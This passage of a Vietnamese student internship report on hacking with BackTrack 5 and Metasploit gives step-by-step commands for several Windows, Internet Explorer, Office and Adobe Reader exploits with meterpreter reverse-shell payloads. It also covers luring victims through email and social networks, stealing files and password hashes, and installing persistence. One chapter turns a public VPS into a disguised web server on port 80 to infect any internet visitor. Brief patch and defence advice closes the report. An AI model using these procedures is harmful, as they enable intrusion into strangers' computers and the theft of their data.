ta phải gắn kết nội bộ đĩa cứng và các tập tin trao đổi trong chế độ chỉ đọc để bảo tồn tính

toàn vẹn.

- Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để gỡ rối

chương trình một hoặc tháo rời một tập tin thực thi.

- Chúng ta có th ể t ải bả n Backtrack 5 t ại địa chỉ:

www.backtracklinux.org/downloads/

2. Phần mềm Metasploit

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ hổng bảo

mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện tấn công

mạng. Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác

lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những

components được viết bằng C, assembler, và Python. Metasploit có thể chạy trên hầu hết

các hệ điều hành: Linux, Windows, MacOS.

Chúng ta có thể download chương trình tại www.metasploit.com

Metasploit hỗ trợ nhiều giao diện với người dùng:

- Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các dòng lệnh

để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.

- Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện Web.

- Command line interface: dùng msfcli.

Metasploit Enviroment:

22

- Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những

options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits.

- Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và unset,

enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến

các module exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh

save. Môi trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi user interface

được thực hiện.

Sử dụng Metasploit Framework:

2.1 Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit

có hỗ trợ để khai thác

- show exploits: xem các module exploit mà framework có hỗ trợ.

- use exploit_name: chọn module exploit.

- info exploit_name: xem thông tin về module exploit.

Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các modul trên

www.metasploit.com ho ặc qua lệnh msfupdate ho ặc svnupdat/opt/metasploit/msf3/.

2.2 Cấu hình Module exploit đã chọn:

- show options: Xác định những options nào cần cấu hình. set: cấu hình cho những option

của module đó.

- Một vài module còn có những advanced options, chúng ta có thể xem bằng cách gõ

dòng lệnh show advanceds.

2.3 Verify những options vừa cấu hình:

- check: kiểm tra xem những option đã được set chính xác chưa.

2.4 Lựa chọn target:

- show targets: những target được cung cấp bởi module đó. set: xác định target nào.

2.5 Lựa chọn payload:

- show payloads: liệt kê ra những payload của module exploit hiện tại. info

payload_name: xem thông tin chi tiết về payload đó.

- set payload payload_name: xác định payload module name. Sau khi lựa chọn payload

nào, dùng lệnh show options để xem những options của payload đó.

- show advanced: xem những advanced options của payload đó.

2.6 Thực thi exploit:

- exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho chúng ta

những thông tin về hệ thống được khai thác.

23

3. Sơ đồ tổng quan hệ thống mạng LAN

Sơ đồ tổng quan hệ thống mạng LAN

- Trong một mạng LAN nội bộ, các máy tính thường kết nối với nhau với khoảng

cách vật lý gần như trong một phòng, một tầng, một tòa nhà, công ty, Các máy tính trong

mạng LAN có thể chia sẻ tài nguyên với nhau, mà điển hình là chia sẻ tập tin, máy in, máy

quét và một số thiết bị khác. Khi một máy tính ở trong mạng LAN, nó có thể sử dụng các

chương trình, phần mềm quét hệ thống mạng để biết được địa chỉ IP các host có trong mạng.

- Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát hiện mạng

và kiểm toán an ninh. Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap) được cài đặt sẵn

trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có sẵn trên mạng, các dịch vụ

(tên ứng dụng và phiên bản) mà host đó đang cung cấp, hệ điều hành gì (và các phiên bản

hệ điều hành) mà họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng, và

nhiều đặc điểm khác. Nmap chạy được trên tất cả các hệ điều hành, và các gói nhị phân chính

thức có sẵn cho Linux, Windows, và Mac OSX.

- Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công cụ quét lỗi hệ

thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai thác truy cập vào hệ

thống. Một trong số các công cụ quét lỗi này là Nessus,

download tại địa chỉ http://www.nessus.org/.

- Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ thống,

Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload files, thay đổi

cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài trojan/ backdoor,

4. Xâm nhập và khai thác Windows XP

4.1 Khai thác lổ hỏng Ms10-042

a) Nhận dạng

24

Microsoft Security Bulletin MS10-042

Lỗ hổng này có thể cho phép thực thi mã từ xa nếu người dùng xem một trang web

thiết kế đặc biệt bằng cách sử dụng một trình duyệt web hoặc nhấp vào một liên kết thiết kế

đặc biệt trong một thông báo e-mail.

b) Phần mềm bị ảnh hưởng:

Cập nhật bảo mật này được đánh giá là Nghiêm Trọng cho tất cả các phiên bản

Microsoft Windows XP, và đánh giá mức độ Thấp cho tất cả các phiên bản Windows

Server 2003.

c) Cách thực hiện tấn công:

- Cập nhật bảo mật này giải quyết lỗ hổng công khai trong WindowsHelp and

Support Center được cung cấp với các phiên bản của Windows XP và Windows Server 2003.

Lỗ hổng này có thể cho phép thực thi mã từ xa nếu người dùng xem một trang web đặc biệt

qua một trình duyệt web hoặc nhấp vào một liên kết đặc biệt trong một thông báo e-mail.

- Bản cập nhật bảo mật xác định các lỗ hổng bằng cách thay đổi cách thức mà dữ liệu được

xác nhận khi được truyền cho Windows Help and Support Center.

- Cập nhật bảo mật này cũng xác định các lỗ hổng được mô tả đầu tiên trong Microsoft

Security Advisory 2219475.

d) thực hiện

Mô hình bài Lab:

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.132.137

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.132.138

25

Cách khai thác:

Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

Từ dấu nhắc sử dụng lệnh:

msf > search ms10_042

copy đường dẫn, enter gõ use "dán đường dẫn vào"

msf > use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec

Gõ show options để thấy các options của lệnh.

msf exploit(ms10_042_helpctr_xss_cmd_exec) > show options

Lần lượt gõ các lệnh sau:

msf exploit(ms10_042_helpctr_xss_cmd_exec) > set SRVHOST 192.168.132.137

msf exploit(ms10_042_helpctr_xss_cmd_exec) > set PAYLOAD

windows/meterpreter/reverse_tcp

msf exploit(ms10_042_helpctr_xss_cmd_exec) > set LHOST 192.168.132.137

msf exploit(ms10_042_helpctr_xss_cmd_exec) > exploit

26

Sau khi gõ lệnh exploit để khai thác lỗi ta sẽ thấy chương trình đưa ra cho ta 1 URL

website, lúc này chỉ cần dụ nạn nhân nhập vào URL này, ta sẽ tấn công được máy nạn

nhân. Ở đây URL là: http://192.168.132.137:80/.

Chương trình này sẽ dựa vào lỗi và sẽ mở ra Help and Support Center của máy nạn nhân

27

Backtrack gửi mã độc qua cho máy nạn nhân

Gõ lệnh sessions để coi Session đang thực hiện, ta thấy có 1 Session đang thực hiện tấn

công tới máy 192.168.132.138 trên port 1207

Gõ lệnh sessions -i 1

Khi ta thấy được dấu ngắt lệnh là meterpreter tức là ta đã tấn công được vào máy nạn nhân, ta

thấy máy nạn nhân là Windows XP 32 bit.

28

4.2 Khai thác lổ hỏng Ms12-004

a) Mô tả:

Các lỗ hổng có thể cho phép thực thi mã từ xa nếu người dùng mở một tập tin phương

tiện truyền thông thiết kế đặc biệt. Một kẻ tấn công khai thác thành công lỗ hổng có thể

lấy được quyền sử dụng giống như người dùng địa phương. Người dùng có tài khoản được

cấu hình để có quyền sử dụng ít hơn trên hệ thống có thể được ít ảnh hưởng hơn so với

những người dùng hoạt động với người sử dụng quyền hành chính..

b) Hệ điều hành bị ảnh hưởng:

Windows XP

Windows Server 2003

Windows Vista

Windows Server 2008

Windows 7

Windows Server 2008 R2

c) Cách thực hiện tấn công

Khởi động msfconsole tử cửa sổ terminal của BackTrack

> msfconsole

Khai báo lỗ hổng sử dụng và thiết đặt options:

> Search ms12_004

> use exploit/windows/browser/ms12_004_midi

29

> show options

> set srvhost 192.168.192.130

> set lhost 192.168.192.130

> set payload windows/meterpreter/reverse_tcp

> exploit

BackTrack sẽ tạo ra một link chứa mã độc (http:// 192.168.192.130:80). Chỉ cần nạn

nhân nhấp chuột vào link trên thì BackTrack sẽ tự dộng gửi mã độc sang máy nạn nhân và

sau đó có thể xem thông tin, chiến quyền của máy nạn nhân đó.

Tiến hành khai thác máy nạn nhân

> sessions

> sessions -i 1

4.3 Khai thác lổ hỏng file PDF qua Adobe Reader 9.x

a) Mô tả:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi .pdf và

gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa mã độc đó lên (các

bạn có thể tạo một Webserver giả mạo, dụ nạn nhân tải file đó về hoặc có thể gửi kèm theo mail,

quăng lên các mạng xã hội, các nơi tải file ) và máy nạn nhân đang sử dụng AdobeReader 9.x.

máy nạn nhân sẽ bị "nhiễm độc".

b) Phần mềm bị ảnh hưởng:

Adobe Reader 9.x chạy trên nền Windows XP SP3

c) Cách thực hiện tấn công:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi .pdf

và gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa mã độc đó

lên (các bạn có thể tạo một Webserver giả mạo, dụ nạn nhân tải file đó về hoặc có thể gửi

kèm theo mail, quăng lên các mạng xã hội, các nơi tải file ) và máy nạn nhân đang sử dụng

AdobeReader 9.x. máy nạn nhân sẽ bị "nhiễm độc".

30

Mô hình bài lab:

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.119.132

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.119.129

Cách khai thác:

- Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

- Từ dấu nhắc sử dụng lệnh dưới để search mã lỗi trong msf

msf > search adobe_pdf copy đường dẫn, ở đây ta sử dụng adobe_pdf_embedded_exe, enter

gõ use "dán đường dẫn vào"

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

- Gõ lệnh show options để thấy những option của lỗi

msf exploit(adobe_pdf_embedded_exe) > show options

31

Ở đây ta thấy bắt buộc phải tạo INFILENAME

Lần lượt gõ các lệnh:

msf exploit(adobe_pdf_embedded_exe) > set filename filemadoc.pdf

Copy sẵn 1 file pdf bất kỳ làm infilename, ở đây mình có sẵn 1 file infilename.pdf ngoài

Desktop.

msf exploit(adobe_pdf_embedded_exe) > set infilename /root/Desktop/infilename.pdf

msf exploit(adobe_pdf_embedded_exe) > set LHOST 192.168.119.132

Địa chỉ này là địa chỉ IP của máy Hacker chính là máy BackTrack.

msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(adobe_pdf_embedded_exe) > exploit

Ta sẽ thấy có một file filemadoc.pdf được tạo ra (đây chỉ là ví dụ các bạn đặt tên theo ý mình

thích), ta copy file "filemadoc.pdf" đã được tạo ra ngoài Desktop cho dễ sử dụng.

msf exploit(adobe_pdf_embedded_exe) > cp /root/.msf4/local/filemadoc.pdf

/root/Desktop

32

Vậy là việc tạo ra file chứa mã độc đã xong, giờ ta gửi file này cho nạn nhân để nạn nhân

chạy file này là sẽ bị dính mã độc. Trong môi trường lab nên mình dựng luôn một

Webserver để nạn nhân truy cập vào. Máy BackTrack đã hỗ trợ sẵn cho ta Webserver ta

chỉ việc chạy.

Upload file "filemadoc.pdf" lên Webserver bằng cách đưa nó File System rồi vào thư mục

"/var/www".

Start Webserver ảo bằng lệnh (mở một cửa số cmd khác).

root@bt:~# service apache2 start

* Starting web server apache2 [ OK ]

Giờ ta qua máy nạn nhân truy cập vào Webserver ta đã dựng và tải file "filemadoc.doc" về.

Khi nạn nhân mở file lên thì mã độc sẽ được tiêm vào.

33

z

Tạo ra một trình lắng nghe

msf exploit(adobe_pdf_embedded_exe) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) >set LHOST 192.168.119.132

msf exploit(handler) > exploit

Kiểm tra máy hacker ta thấy mã độc đã được tiêm vào máy nạn nhân

Mã độc đã được tiêm từ máy 192.168.119.132:4444 tới máy 192.168.119.129:1210

Giờ ta có thể khai thác được máy nạn nhân

Gõ getuid để thấy thông tin username, getinfo để biết thông tin máy, ls C:\ để xem ổ đĩa,

mkdir để tạo thư mục, nói chung ta đã hoàn toàn kiểm xoát được máy nạn nhân

34

4.4 Khai thác lỗ hỏng Ms12-027

Mô tả:

Nguyên tắc khai thác lỗi ở đây khá đơn giản, bạn sẽ tạo ra một file mã độc có đuôi .doc và

gửi cho nạn nhân, làm thế nào để nạn nhân nhận được và mở file có chứa mã độc đó lên

(các bạn có thể tạo một web server giả mạo, dụ nạn nhân tải file đó về hoặc có thể gửi kèm

theo mail, ) máy nạn nhân đang sử dụng Microsoft Office 2007 (no-SP/SP1/SP2/SP3) trên

Windows (XP SP3 / 7 SP1) English là máy nạn nhân sẽ bị "nhiễm độc"

Mô hình bài Lab

Máy Hacker:

Hệ điều hành: Sử dụng Backtrack 5

IP: 192.168.119.132

Máy nạn nhân:

Hệ điều hành: Sử dụng Windows XP

IP: 192.168.119.129

Cách khai thác:

- Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole

- Từ dấu nhắc sử dụng lệnh dưới để search mã lỗi trong msf msf > search ms12_027

copy đường dẫn, enter gõ use "dán đường dẫn vào"

msf > use exploit/windows/fileformat/ms12_027_mscomctl_bof

- Gõ lệnh show options để thấy những option của lỗi

msf exploit(ms12_027_mscomctl_bof) > show options

35

- Ở đây ta thấy bắt buộc phải tạo FILENAME

- Lần lượt gõ các lệnh:

msf exploit(ms12_027_mscomctl_bof) > set filename filemadoc.doc

- Ta sẽ thấy có một file filemadoc.doc được tạo ra (đây chỉ là ví dụ các bạn đặt tên theo ý

mình thích)

msf exploit(ms12_027_mscomctl_bof) > set payload windows/meterpreter/reverse_tcp

msf exploit(ms12_027_mscomctl_bof) > set LHOST 192.168.119.132

- Địa chỉ này là địa chỉ IP của máy Hacker chính là máy BackTrack.

msf exploit(ms12_027_mscomctl_bof) > exploit

- Gõ lệnh exploit để thực thi

msf exploit(ms12_027_mscomctl_bof) > cp /root/.msf4/local/filemadoc.doc

/root/Desktop

36

ta copy file "filemadoc.doc" đã được tạo ra ngoài Desktop cho dễ sử dụng.

Vậy là việc tạo ra file chứa mã độc đã xong, giờ ta gửi file này cho nạn nhân để nạn

nhân chạy file này là sẽ bị dính mã độc. Trong môi trường lab nên mình dựng luôn

một Webserver để nạn nhân truy cập vào. Máy BackTrack đã hỗ trợ sẵn cho ta

Webserver ta chỉ việc chạy.

Upload file "filemadoc.doc" lên Webserver bằng cách đưa nó vào File System rồi vào thư

mục "/var/www".

Start Webserver ảo bằng lệnh

root@bt:~# service apache2 start

* Starting web server apache2 [ OK ]

Tạo ra một trình lắng nghe

msf exploit(ms12_027_mscomctl_bof) > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.119.132

msf exploit(handler) > exploit

37

Giờ ta qua máy nạn nhân truy cập vào WEBSERVER ta đã dựng và tải file "filemadoc.doc"

về. Khi nạn nhân mở file lên thì mã độc sẽ được tiêm vào.

Kiểm tra máy hacker ta thấy mã độc đã được tiêm vào máy nạn nhân.

38

Mã độc đã được tiêm từ máy 192.168.119.132:4444 tới máy 192.168.119.129:1040

Giờ ta có thể khai thác được máy nạn nhân

Gõ getuid để thấy thông tin username, getinfo để biết thông tin máy, ls C:\ để xem ổ đĩa,

mkdir để tạo thư mục, nói chung ta đã hoàn toàn kiểm xoát được máy nạn nhân.

4.5 Khai thác thông tin sau khi đã tấn công:

Xem thông tin hệ thống:

> getuid > sysinfo

Tải lên và đánh cắp tài liệu

- Tải file abc.txt tại Desktop của Back Track lên ổ C của XP

> upload /root/Desktop/abc.txt C:/

- Đánh cắp file xyz.txt tại ổ C của XP và đem về Desktop của Back Track

> download C:/xyz.txt /root/Desktop

Lấy hashpass:

> hashdump

Khám phá ổ đĩa:

meterpreter> shell

39

- Chuyển dấu nhắc sang ổ đĩa C:

> cd c:\

- Liệt kê tài nguyên trong ổ C:

> dir

- Tạo thư mục abc trong ổ C:

> md abc

- Xóa thư mục abc trong ổ C:

> rd abc

- Xóa file abc.txt trong ổ C:

> del abc.txt

- Trở về meterpreter:

> exit

Giữ kết nối với Victim khi Victim mất mạng hay khởi động lại tại port 8888

> run persistence -A -S -U -X -i 1500 -P 8888

40

Chương 3

XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP

LỖ HỔNG TỪ XA QUA MẠNG INTERNET

1. Máy Chủ Ảo (VPS)

1.1 Định nghĩa

- Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy chủ

vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một Share Host thì có

thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server chạy VPS thì con số này chỉ

bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share Host rất nhiều.

- Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn

quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn chế 100%

khả năng bị hack local.

- Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài

nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh hưởng đến

các Website khác cùng server, riêng server VPS, một tài khoản trên VPS bị tấn công thì

mọi tài khoản khác trên VPS đều hoạt động bình thường.

- VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn nặng, nếu

chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS đòi hỏi người sử dụng

phải có thêm một số kiến thức về bảo mật, cấu hình server,.

1.2 Đặc điểm về thông số VPS

- Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng, dung

lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP và hệ điều hành riêng.

- Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.

- Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng dụng

khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web bằng trình duyệt

Web trên VPS, dowload/upload bittorrent với tốc độ cao

- Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài nguyên

mà không cần phải khởi động lại hệ thống.

Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.

41

Có tính chất quản lý nội bộ riêng của doanh nghiệp. Không tốn chi phí mua thiết bị, chi

phí bảo dưỡng.

Có thể quản trị từ xa, cài đặt các ứng dụng quản trị doanh nghiệp, CRM, quản lý khách

hàng, bán hàng trực tuyến...

2. Honeypot

Honeypot là một hệ thống tài nguyên thông tin được xây dựng với mục đích giả dạng

đánh lừa những kẻ sử dụng và xâm nhập không hợp pháp, thu hút sự chú ý của chúng, ngăn

không cho chúng tiếp xúc với hệ thống thật. Hệ thống tài nguyên thông tin có nghĩa là

Honeypot có thể giả dạng bất cứ loại máy chủ tài nguyên nào như là Mail Server, Domain

Name Server, Web Server Honeypot sẽ trực tiếp tương tác với tin tặc và tìm cách khai

thác thông tin về tin tặc như hình thức tấn công, công cụ tấn công hay cách thức tiến hành

thay vì bị tấn công. Với mục tiêu xây dựng Honeypot để xâm nhập vào lỗ hổng hệ thống

máy tính qua Internet, Hacker có thể sử dụng Máy chủ ảo (VPS) và cài đặt Honeypot để giả

dạng là một Web server bình thường, từ đó đánh lừa máy nạn nhân khi một máy tính bất

kỳ có kết nối Internet truy cập vào địa chỉ mà VPS cung cấp.

3. Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet

Sơ đồ tổng quan sử dụng Honeypot

42

Hacker cần chuẩn bị:

VPS có địa chỉ IP public, cài đặt sẵn công cụ Metasploit (download tại

http://metasploit.org) đóng vai trò là một Honeypot trên mạng.

4. Tấn công qua Internet

4.1 Các lỗi bảo mật:

a) Lỗi bảo mật Ms06-067:

Mô tả:

Là lỗi làm cho IE bị tràn bộ đệm, để có thể dựa vào đó mà tấn công và thực hiện mã

lệnh từ xa.

Hệ điều hành bị ảnh hưởng:

- Windows XP Universal

- Windows 2000 Universal

- Windows Server 2003 Universal

b) Lỗi bảo mật Ms10-046:

Mô tả:

- Một lỗ hổng được công bố công khai trong Windows Shell. Các lỗ hổng có thể cho

phép thực thi mã từ xa nếu biểu tượng của một phím tắt thiết kế đặc biệt được hiển thị.

Một kẻ tấn công khai thác thành công lỗ hổng này có thể đạt được các quyền người dùng

tương tự như người dùng địa phương. Người dùng có tài khoản được cấu hình để có quyền

sử dụng ít hơn trên hệ thống có thể được ít ảnh hưởng hơn so với những người dùng hoạt

động với người sử dụng quyền hành chính.

Phần mềm bị ảnh hưởng:

- Windows XP Service Pack 3

- Windows XP Professional x64 Edition Service Pack 2

- Windows Server 2003 Service Pack 2

- Windows Server 2003 x64 Edition Service Pack 2

- Windows Server 2003 with SP2 for Itanium-based Systems

- Windows Vista Service Pack 1 and Windows Vista Service Pack 2

43

- Windows Vista x64 Edition Service Pack 1 and Windows Vista x64

Edition Service Pack 2

- Windows Server 2008 for 32-bit Systems and Windows Server 2008 for

32-bit Systems Service Pack 2

- Windows Server 2008 for x64-based Systems and Windows Server

2008 for x64-based Systems Service Pack 2

- Windows Server 2008 for Itanium-based Systems and Windows Server

2008 for Itanium-based Systems Service Pack 2

- Windows 7 for 32-bit Systems

- Windows 7 for x64-based Systems

- Windows Server 2008 R2 for x64-based Systems

- Windows Server 2008 R2 for Itanium-based System

c) Lỗi bảo mật Ms11-003:

Mô tả:

- Là lỗi dựa trên CSS của IE, khai thác vào lỗ hỏng của HTML. Khi nó phân tích một

trang HTML có chứa hàm đệ quy, hàm này sẽ bị xóa nhưng sau đó được sử dụng lại.

Phần mềm bị ảnh hưởng:

- Internet Explorer 6 - Internet Explorer 7 - Internet Explorer 8

d) Lỗi bảo mật Ms12-063:

Mô tả:

- Khi tải một trang web bình thường sẽ có một Object với một hàm get gọi là Object

IMSHTCP. Nhưng nếu có sự can thiệp, khi load trang thì bất ngờ Object

này bị xóa đi và sau đó được sử dụng lại, từ đó Hacker có thể thâm nhập vào

Phần mềm bị ảnh hưởng:

- Internet Explorer 7 trên Windown XP SP3 - Internet Explorer 8 trên Windown XP

SP3

- Internet Explorer 7 trên Windown Vista

- Internet Explorer 8 trên Windown XP SP3

44

- Internet Explorer 8 trên Windown 7

- Internet Explorer 9 trên Windown 7

e) Lỗi bảo mật Ms13-009:

Phần mềm bị ảnh hưởng:

- Internet Explorer 8 trên Windown XP SP3

4.2 Cách tấn công:

Tại cửa sổ Metasploit console, ta sử dụng các lệnh sau để tạo một server lắng

nghe các sự truy cập từ bên ngoài

> search Msxy_abc

Với xy_abc là một trong các lỗi cần khai thác, Ms06_067, Ms10_046, Ms11_003,

Ms12_063, Ms13_009

> use exploit/windows/browser/mã_lỗi_khai_thác

Với các mã lỗi khai thác:

Ms06_067: ms06_067_keyframe

Ms10_046: ms10_046_shortcut_icon_dllloader

Ms11_003: ms11_003_ie_xss_import

Ms12_063: ie_execommane_uaf

Ms13_009: ms13_009_slayoutrun_uaf

> show options

(Xem thông tin thiết đặt)

> set srvhost 14.0.21.184

(VPS được đăng ký với địa chỉ IP 14.0.21.184)

> set lhost 14.0.21.184

> set uripath test

(Đường dẫn kèm theo IP, nếu không set, metasploit sẽ chọn ngẫu

nhiên đường dẫn bất kỳ)

> set srvport 80

45

(Chọn port 80, VPS như một Web Server, tránh sự nghi ngờ của người dùng)

> set payload windows/meterpreter/reverse_tcp

(Cách tấn công vào trong hệ thống)

> exploit

Công việc tiếp theo là chờ cho máy mục tiêu truy cập vào địa chỉ:

http://14.0.21.184/test. Ngay lúc đó, server trên VPS chúng ta sẽ tiến hành gửi trojan về

máy mục tiêu. Bây giờ ta có thể tiến hành khai thác tại máy mục tiêu.

4.3 Phương pháp khắc phục lỗ hổng

- Ms06-067: Cập nhập hệ điều hành lên phiên bản Service Pack 2

- Ms10-046: tải gói KB286198 để vài đặt vào trong hệ thống hoặc cập nhật hệ điều hành lên

phiên bản hệ điều hành mới hơn.

- Ms11-003: Cập nhập hệ điều hành lên phiên bản mới nhất

- Ms12-063: tải gói vá lỗi KB2744842 để cài đặt vào trong hệ thống

- Ms13-009: tải gói vá lỗi KB2792100 để cài đặt vào trong hệ thống

46

PHẦN 3: TỔNG KẾT

Với những kiểu tấn công hệ thống dựa trên những lỗi sai sót trong quá trình sử dụng

máy tính hoặc các lỗi về bảo mật vật lý, có một số phương pháp nhằm giảm thiểu và

phòng tránh việc Hacker đánh cắp Mật khẩu như sau:

- Mật khẩu phải được đặt nhiều hơn 8 ký tự và phải là tổng hợp giữa chữ hoa, chữ

thường, số và ký tự đặc biệt để các chương trình khó dò ra.

- Cấu hình trong registry cho mật khẩu trong hệ thống windows chỉ được băm và lưu

dưới dạng NTLM để các chương trình khó khăn để dò tìm

- Người dùng admin nên xóa tập tin sam trong thư mục Windows/repair sau mỗi lần

backup dữ liệu bằng rdisk.

Trong quá trình sử dụng máy tính để truy cập Internet, cần lưu ý:

- Không mở những tập tin được đính kèm thư điện tử có nguồn gốc không rõ ràng hoặc

không tin cậy.

- Chắc chắn rằng bạn có và đã bật hệ thống tường lửa cho hệ thống của mình.

- Đảm bảo Windows của bạn được cập nhật thường xuyên, phần mềm bảo mật của bạn

có chức năng cập nhật "live" (tự động cập nhật trực tuyến).

- Cài đặt phần mềm diệt virut Internet Security.

- Luôn sử dụng các bản Office có bản quyền để luôn được cập nhật vá lỗi và hỗ trợ kỹ

thuật từ nhà cung cấp.

Microsoft đã xây dựng một loạt các công cụ trong Windows để các nhà quản trị cũng

như người dùng có kinh nghiệm có thể phân tích chiếc máy tính của mình xem liệu nó có

đang bị xâm phạm hay không. Một khi nghi ngờ máy tính của mình bị xâm nhập, người dùng

có thể sử dụng các công cụ này để tự kiểm tra máy tính của mình khi có những biểu hiện

đáng ngờ: WMIC, Lệnh net, Openfiles, Netstat, Find.

47

DANH MỤC TÀI LIỆU THAM KHẢO

Nguyễn Sơn Khê, Đỗ Tấn Phát, Nguyễn Cao Thắng, Athena

Sử dụng BackTrack 5 khai thác lỗ hổng mạng.

http://www.hackyshacky.com/2013/03/how-to-hack-facebook-with-backtrack-5.html

http://www.slideshare.net/Anhphailamthenao/bo-co-thc-tp-system-hacking?related=5

http://nvkhoiit.blogspot.com/

https://www.youtube.com/watch?v=g1Xo7K2osxE&list=PL6Elfw63yI9RVQLXsK_V7X

yHmiJc_9v56

48

DANH MỤC LINK CLIP

Clip báo cáo tuần 1

https://www.youtube.com/watch?v=fvF1x_HOMu4&feature=youtu.be

https://www.facebook.com/permalink.php?story_fbid=1399893123658365&id=1000

09130730200&notif_t=like

Clip báo cáo tuần 2

https://www.youtube.com/watch?v=sDe0zsMkuP0

https://m.facebook.com/permalink.php?story_fbid=1409011479413196&id=1000091

30730200&ref=m_notif&notif_t=like

Clip báo cáo tuần 3

https://www.youtube.com/watch?v=dX320--DQlk&feature=youtu.be

https://www.facebook.com/permalink.php?story_fbid=1414891442158533&id=1000

09130730200&notif_t=like

Clip báo cáo tuần 4

https://www.youtube.com/watch?v=drKjd74QiyU

https://www.facebook.com/permalink.php?story_fbid=1421672081480469&id=1000

09130730200&ref=notif&notif_t=like

Clip báo cáo tuần 5

https://www.youtube.com/watch?v=07QL2_pUliE

https://www.facebook.com/permalink.php?story_fbid=1430268300620847&id=1000

09130730200&ref=notif&notif_t=like

Clip giới thiệu bản thân:

https://www.youtube.com/watch?v=RQOY5XR-zLg&feature=youtu.be

https://www.facebook.com/100009130730200/activity/1403395413308136?notif_t=o

pen_graph_action_like

Clip báo cáo cuối kì thuận lợi khó khăn: